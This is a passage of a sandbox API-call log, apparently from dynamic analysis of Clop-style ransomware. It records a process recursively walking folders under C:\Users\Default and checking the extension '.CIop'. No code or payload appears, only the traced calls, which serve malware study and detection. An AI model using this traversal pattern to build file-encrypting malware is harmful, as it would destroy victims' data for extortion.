lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0128.318] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0128.318] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0128.318] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0128.318] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.318] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.318] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.318] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.318] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.319] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.319] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0128.319] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0128.319] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0128.319] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.320] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0128.320] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0128.320] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.320] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.320] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.320] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0128.320] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0128.320] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0128.320] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0128.320] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0128.320] SetErrorMode (uMode=0x1) returned 0x1 [0128.320] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0128.320] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0128.320] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0128.320] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0128.320] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.320] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0128.320] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0128.320] lstrlenW (lpString=".CIop") returned 5 [0128.320] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.320] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.320] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.320] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0128.320] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0128.320] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.320] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0128.320] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0128.320] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.320] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.320] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.321] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.321] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0128.321] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0128.321] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0128.321] SetErrorMode (uMode=0x1) returned 0x1 [0128.321] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0128.321] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0128.321] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.321] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0128.321] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0128.321] lstrlenW (lpString=".CIop") returned 5 [0128.321] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.321] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.321] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.321] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0128.321] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.321] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0128.321] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0128.321] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.321] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.321] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.321] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.321] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0128.321] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0128.321] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0128.321] SetErrorMode (uMode=0x1) returned 0x1 [0128.321] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0128.321] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0128.321] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0128.321] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.322] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0128.322] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0128.322] lstrlenW (lpString=".CIop") returned 5 [0128.322] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.322] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.322] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.322] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0128.322] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0128.322] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.322] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0128.322] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0128.322] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.322] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.322] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.322] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.322] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.322] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.323] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.323] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0128.323] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0128.323] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.323] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.323] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0128.323] SetErrorMode (uMode=0x1) returned 0x1 [0128.323] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0128.323] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0128.323] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Downloads\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0128.323] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0128.323] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.323] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0128.323] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0128.323] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.323] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.323] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.323] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.323] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0128.323] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0128.323] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.323] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0128.323] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0128.323] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.323] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.323] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.323] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.324] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.324] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.324] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0128.324] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0128.324] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.324] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.324] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0128.324] SetErrorMode (uMode=0x1) returned 0x1 [0128.324] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0128.324] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0128.324] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Favorites\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0128.324] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0128.324] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.324] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0128.324] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0128.324] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.324] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.324] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.324] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.324] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0128.324] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0128.324] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0128.324] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0128.324] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0128.324] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.324] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.325] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.325] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.325] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0128.325] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.325] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0128.325] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0128.325] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.325] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.325] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0128.325] SetErrorMode (uMode=0x1) returned 0x1 [0128.325] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0128.325] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0128.325] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Links\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0128.325] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0128.325] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.325] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0128.325] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0128.325] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.325] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.325] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.325] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.325] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0128.325] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0128.325] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.326] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0128.326] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0128.326] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.326] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.326] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.326] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.326] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.326] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.326] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0128.326] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0128.326] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.326] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.326] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0128.326] SetErrorMode (uMode=0x1) returned 0x1 [0128.326] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0128.326] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0128.326] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Local Settings\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0128.326] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0128.326] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.326] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0128.326] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0128.326] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.326] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0128.326] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0128.326] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.327] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0128.327] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0128.327] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.327] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.327] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0128.327] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0128.327] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.327] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.327] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0128.327] SetErrorMode (uMode=0x1) returned 0x1 [0128.327] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0128.327] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0128.327] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Music\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0128.327] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="*.*" | out: 